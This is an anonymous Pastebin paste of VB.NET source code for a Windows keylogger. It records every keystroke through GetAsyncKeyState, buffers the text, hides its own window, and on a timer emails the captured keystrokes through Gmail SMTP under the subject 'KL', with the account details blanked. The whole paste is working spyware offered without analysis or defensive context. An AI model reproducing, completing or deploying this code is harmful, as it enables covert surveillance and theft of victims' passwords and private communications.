Advertisement
Guest User

Untitled

a guest
Mar 9th, 2017
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.53 KB | None | 0 0
  1. Imports System.Net.Mail
  2.  
  3. Public Class Form1
  4.  
  5. Dim result As Integer
  6. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As integer) As short
  7. Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
  8.  
  9. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  10. Timer1.Start()
  11. Timer2.Start()
  12. Timer3.Start()
  13.  
  14. End Sub
  15. Public Function GetCapslock() As Boolean
  16.  
  17. GetCapslock = CBool(GetKeyState(&H14) And 1)
  18.  
  19. End Function
  20.  
  21. Public Function GetShift() As Boolean
  22.  
  23. GetShift = CBool(GetAsyncKeyState(&H10))
  24.  
  25. End Function
  26. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  27. For i As Integer = 1 To 225
  28. result = 0
  29. result = GetAsyncKeyState(i)
  30. If result = -32767 Then
  31. If GetCapslock() = True And GetShift() = True Then
  32. Select Case (i)
  33. Case 192
  34. TextBox1.Text = TextBox1.Text + "~"
  35. Case 1
  36. Case 64 To 90
  37. TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  38. Case 97 To 122
  39. TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  40. Case 32
  41. TextBox1.Text = TextBox1.Text + " "
  42. Case 48
  43. TextBox1.Text = TextBox1.Text + ")"
  44. Case 49
  45. TextBox1.Text = TextBox1.Text + "!"
  46. Case 50
  47. TextBox1.Text = TextBox1.Text + "@"
  48. Case 51
  49. TextBox1.Text = TextBox1.Text + "#"
  50. Case 52
  51. TextBox1.Text = TextBox1.Text + "$"
  52. Case 53
  53. TextBox1.Text = TextBox1.Text + "%"
  54. Case 54
  55. TextBox1.Text = TextBox1.Text + "^"
  56. Case 55
  57. TextBox1.Text = TextBox1.Text + "&"
  58. Case 56
  59. TextBox1.Text = TextBox1.Text + "*"
  60. Case 57
  61. TextBox1.Text = TextBox1.Text + "("
  62. Case 8
  63. TextBox1.Text = TextBox1.Text + "[BackSpace]"
  64. Case 46
  65. TextBox1.Text = TextBox1.Text + "[Del]"
  66. Case 190
  67. TextBox1.Text = TextBox1.Text + ">"
  68. Case 16
  69. Case 160 To 165
  70. Case 17
  71. TextBox1.Text = TextBox1.Text + "[Ctrl]"
  72. Case 18
  73. TextBox1.Text = TextBox1.Text + "[Alt]"
  74. Case 189
  75. TextBox1.Text = TextBox1.Text + "_"
  76. Case 187
  77. TextBox1.Text = TextBox1.Text + "+"
  78. Case 219
  79. TextBox1.Text = TextBox1.Text + "{"
  80. Case 221
  81. TextBox1.Text = TextBox1.Text + "}"
  82. Case 186
  83. TextBox1.Text = TextBox1.Text + ":"
  84. Case 222
  85. TextBox1.Text = TextBox1.Text + """"
  86. Case 188
  87. TextBox1.Text = TextBox1.Text + "<"
  88. Case 191
  89. TextBox1.Text = TextBox1.Text + "?"
  90. Case 220
  91. TextBox1.Text = TextBox1.Text + "|"
  92. Case 13
  93. TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
  94. Case 20
  95. Case 91
  96. Case 9
  97. TextBox1.Text = TextBox1.Text + " [Tab]"
  98. Case 2
  99. TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
  100. Case 37 To 40
  101. Case Else
  102. TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
  103. End Select
  104. End If
  105. If GetCapslock() = True And GetShift() = False Then
  106. Select Case (i)
  107. Case 91
  108. Case 1
  109. Case 64 To 90
  110. TextBox1.Text = TextBox1.Text + Chr(i)
  111. Case 97 To 122
  112. TextBox1.Text = TextBox1.Text + Chr(i)
  113. Case 32
  114. TextBox1.Text = TextBox1.Text + " "
  115. Case 48 To 57
  116. TextBox1.Text = TextBox1.Text + Chr(i)
  117. Case 8
  118. TextBox1.Text = TextBox1.Text + "[BackSpace]"
  119. Case 46
  120. TextBox1.Text = TextBox1.Text + "[Del]"
  121. Case 190
  122. TextBox1.Text = TextBox1.Text + "."
  123. Case 16
  124. Case 160 To 165
  125. Case 20
  126. Case 192
  127. TextBox1.Text = TextBox1.Text + "`"
  128. Case 189
  129. TextBox1.Text = TextBox1.Text + "-"
  130. Case 187
  131. TextBox1.Text = TextBox1.Text + "="
  132.  
  133. Case 219
  134. TextBox1.Text = TextBox1.Text + "["
  135. Case 221
  136. TextBox1.Text = TextBox1.Text + "]"
  137. Case 186
  138. TextBox1.Text = TextBox1.Text + ";"
  139. Case 222
  140. TextBox1.Text = TextBox1.Text + "'"
  141. Case 188
  142. TextBox1.Text = TextBox1.Text + ","
  143. Case 191
  144. TextBox1.Text = TextBox1.Text + "/"
  145. Case 220
  146. TextBox1.Text = TextBox1.Text + "\"
  147. Case 17
  148. TextBox1.Text = TextBox1.Text + "[Ctrl]"
  149. Case 18
  150. TextBox1.Text = TextBox1.Text + "[Alt]"
  151. Case 13
  152. TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
  153. Case 9
  154. TextBox1.Text = TextBox1.Text + " [Tab]"
  155. Case 2
  156. TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
  157. Case 37 To 40
  158. Case Else
  159. TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
  160. End Select
  161. End If
  162. If GetCapslock() = False And GetShift() = True Then
  163. Select Case (i)
  164. Case 91
  165. Case 192
  166. TextBox1.Text = TextBox1.Text + "~"
  167. Case 1
  168. Case 64 To 90
  169. TextBox1.Text = TextBox1.Text + Chr(i)
  170. Case 97 To 122
  171. TextBox1.Text = TextBox1.Text + Chr(i)
  172. Case 32
  173. TextBox1.Text = TextBox1.Text + " "
  174. Case 48
  175. TextBox1.Text = TextBox1.Text + ")"
  176. Case 49
  177. TextBox1.Text = TextBox1.Text + "!"
  178. Case 50
  179. TextBox1.Text = TextBox1.Text + "@"
  180. Case 51
  181. TextBox1.Text = TextBox1.Text + "#"
  182. Case 52
  183. TextBox1.Text = TextBox1.Text + "$"
  184. Case 53
  185. TextBox1.Text = TextBox1.Text + "%"
  186. Case 54
  187. TextBox1.Text = TextBox1.Text + "^"
  188. Case 55
  189. TextBox1.Text = TextBox1.Text + "&"
  190. Case 56
  191. TextBox1.Text = TextBox1.Text + "*"
  192. Case 57
  193. TextBox1.Text = TextBox1.Text + "("
  194. Case 8
  195. TextBox1.Text = TextBox1.Text + "[BackSpace]"
  196. Case 46
  197. TextBox1.Text = TextBox1.Text + "[Del]"
  198. Case 190
  199. TextBox1.Text = TextBox1.Text + ">"
  200. Case 16
  201. Case 160 To 165
  202. Case 17
  203. TextBox1.Text = TextBox1.Text + "[Ctrl]"
  204. Case 18
  205. TextBox1.Text = TextBox1.Text + "[Alt]"
  206. Case 189
  207. TextBox1.Text = TextBox1.Text + "_"
  208. Case 187
  209. TextBox1.Text = TextBox1.Text + "+"
  210. Case 219
  211. TextBox1.Text = TextBox1.Text + "{"
  212. Case 221
  213. TextBox1.Text = TextBox1.Text + "}"
  214. Case 186
  215. TextBox1.Text = TextBox1.Text + ":"
  216. Case 222
  217. TextBox1.Text = TextBox1.Text + """"
  218. Case 188
  219. TextBox1.Text = TextBox1.Text + "<"
  220. Case 191
  221. TextBox1.Text = TextBox1.Text + "?"
  222. Case 220
  223. TextBox1.Text = TextBox1.Text + "|"
  224. Case 13
  225. TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
  226. Case 9
  227. TextBox1.Text = TextBox1.Text + " [Tab]"
  228. Case 20
  229. Case 2
  230. TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
  231. Case 37 To 40
  232. Case Else
  233. TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
  234. End Select
  235. End If
  236. If GetCapslock() = False And GetShift() = False Then
  237. Select Case (i)
  238. Case 1
  239. Case 64 To 90
  240. TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  241. Case 97 To 122
  242. TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  243. Case 32
  244. TextBox1.Text = TextBox1.Text + " "
  245. Case 48 To 57
  246. TextBox1.Text = TextBox1.Text + Chr(i)
  247. Case 8
  248. TextBox1.Text = TextBox1.Text + "[BackSpace]"
  249. Case 46
  250. TextBox1.Text = TextBox1.Text + "[Del]"
  251. Case 190
  252. TextBox1.Text = TextBox1.Text + "."
  253. Case 16
  254. Case 160 To 165
  255. Case 20
  256. Case 192
  257. TextBox1.Text = TextBox1.Text + "`"
  258. Case 189
  259. TextBox1.Text = TextBox1.Text + "-"
  260. Case 187
  261. TextBox1.Text = TextBox1.Text + "="
  262. Case 91
  263. Case 219
  264. TextBox1.Text = TextBox1.Text + "["
  265. Case 221
  266. TextBox1.Text = TextBox1.Text + "]"
  267. Case 186
  268. TextBox1.Text = TextBox1.Text + ";"
  269. Case 222
  270. TextBox1.Text = TextBox1.Text + "'"
  271. Case 188
  272. TextBox1.Text = TextBox1.Text + ","
  273. Case 191
  274. TextBox1.Text = TextBox1.Text + "/"
  275. Case 220
  276. TextBox1.Text = TextBox1.Text + "\"
  277. Case 17
  278. TextBox1.Text = TextBox1.Text + "[Ctrl]"
  279. Case 18
  280. TextBox1.Text = TextBox1.Text + "[Alt]"
  281. Case 13
  282. TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
  283. Case 9
  284. TextBox1.Text = TextBox1.Text + " [Tab]"
  285. Case 2
  286. TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
  287. Case 37 To 40
  288.  
  289. Case Else
  290. TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
  291. End Select
  292. End If
  293.  
  294. End If
  295. Next i
  296. End Sub
  297.  
  298. Sub MainEvents()
  299. Try
  300. Dim MyMailMessage As New MailMessage()
  301. MyMailMessage.From = New MailAddress("@gmail.com")
  302. MyMailMessage.To.Add("@gmail.com")
  303. MyMailMessage.Subject = "KL"
  304. MyMailMessage.Body = TextBox1.Text
  305. Dim SMTPServer As New SmtpClient("smtp.gmail.com")
  306. SMTPServer.Port = 587
  307. SMTPServer.EnableSsl = True
  308. SMTPServer.Credentials = New System.Net.NetworkCredential("@gmail.com", "n")
  309. SMTPServer.Send(MyMailMessage)
  310. TextBox1.Text = ""
  311. Catch ex As Exception
  312. End Try
  313. End Sub
  314.  
  315. Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  316.  
  317. If TextBox1.Text <> "" Then
  318. MainEvents()
  319. End If
  320. End Sub
  321.  
  322. Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
  323. Me.Visible = False
  324. Me.Hide()
  325. End Sub
  326.  
  327. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement